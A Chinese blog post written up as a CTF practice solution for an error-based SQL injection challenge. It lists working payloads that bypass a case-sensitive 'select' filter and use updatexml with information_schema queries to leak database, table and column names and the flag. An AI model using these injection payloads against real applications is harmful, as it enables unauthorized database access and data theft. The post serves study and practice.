CTF练习——报错注入

发布时间 2023-12-08 16:33:18作者: 学号20221407

[第一章 web入门]SQL注入-21来自N1 Book

2023.12.8今天又是刷题的一天

解题过程

分析环节

  • 首先,从题目中可以看到这个是没有回显的,所以猜测是一个盲注:


    下面这个更离谱,甚至没有一点回显
    所以应该是使用盲注了。
    但是,后来在源代码中发现,这道题可以打开报错信息,所以是一个报错注入
    源代码里面有以下提示:

如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦

  • 通过仔细看下面这张图片上的提示,我才明白这个不是要通过抓包得到什么东西,而是要通过抓包的方式向服务器输入参数开启它的报错功能,同时通过抓包来得到报错回显,原网页应该是没有回显的

解题过程

1. 确定是字符型注入
payload:name=-1'&pass=666

string(152) "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1"
2.确定过滤情况,准备注入

看来这个注释符号没有被过滤掉

payload:name=1'--+&pass=666


下面看看有没有把`select` `union`过滤掉 ![](https://img2023.cnblogs.com/blog/2967750/202312/2967750-20231208162412692-519100975.png) 我记得吧,这个是把select过滤掉了…… >反正吧,这个就一直是报错,也不知道是怎么个错法,不太能确定是过滤掉了谁

下面转折出现了!大家注意看

输入如下payload时

payload:name=-1'union sElEct 1,database(),2 #&pass=666

这很明显就是把select过滤掉了,但是吧还不太高明,只是过滤了小写的情况,所以就用了一个大小写绕过
这样之后就没有报错了,说明之前是把select给扣下去了,所以老是报诡异的错误
3.爆字段
name=1' order by 4--+&pass=666

字段数为3

4.爆库(虽然没啥用)
下面开始报错注入:

  • 首先尝试性地爆个库名看看哈,等等,我先复习一下怎么报错注入的哈
    updatexml(1,concat(0x7e,(database()),0x7e),1)
    nice搞到了,等我写进去的哈
    payload:sElEct updatexml(1,concat(0x7e,(database()),0x7e),1)

非常好用,库名是note,虽然没什么大用
5.爆表名
爆表名,启动!
等一下,我构造一个payload
payload:name=-1'union sElEct updatexml(1,concat(0x7e,(sElEct group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #&pass=666



爆出了表名,一个叫fl4g一个叫users
6.爆列名
下面咱们要爆列名了
和之前一样的哈,来咱们看看:
payload:sElEct group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'

爆出来了,就一个列flag
7.爆内容
下面爆内容
payload:sElEct 1,2,group_concat(flag) from 'fl4g'
发现这个老是报错……
报错信息如下:
string(167) "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''fl4g'),0x7e),1) #'' at line 1"
就是说'fl4g'),0x7e),1) #'这里有语法错误,这我就百思不得其解了
这也没错呀,网上都是这么做的呀?
后来,我想起来之前有一道题,它的表名非常离谱,是一大串数字

这里就要科普一个知识点,当我们的表名是数字的时候必须要用反引号引起来才行
所以,咱们改一下payload的哈

payload:name=-1'union sElEct updatexml(1,concat(0x7e,(sElEct group_concat(flag) from fl4g),0x7e),1) #&pass=666
然后,就得到flag了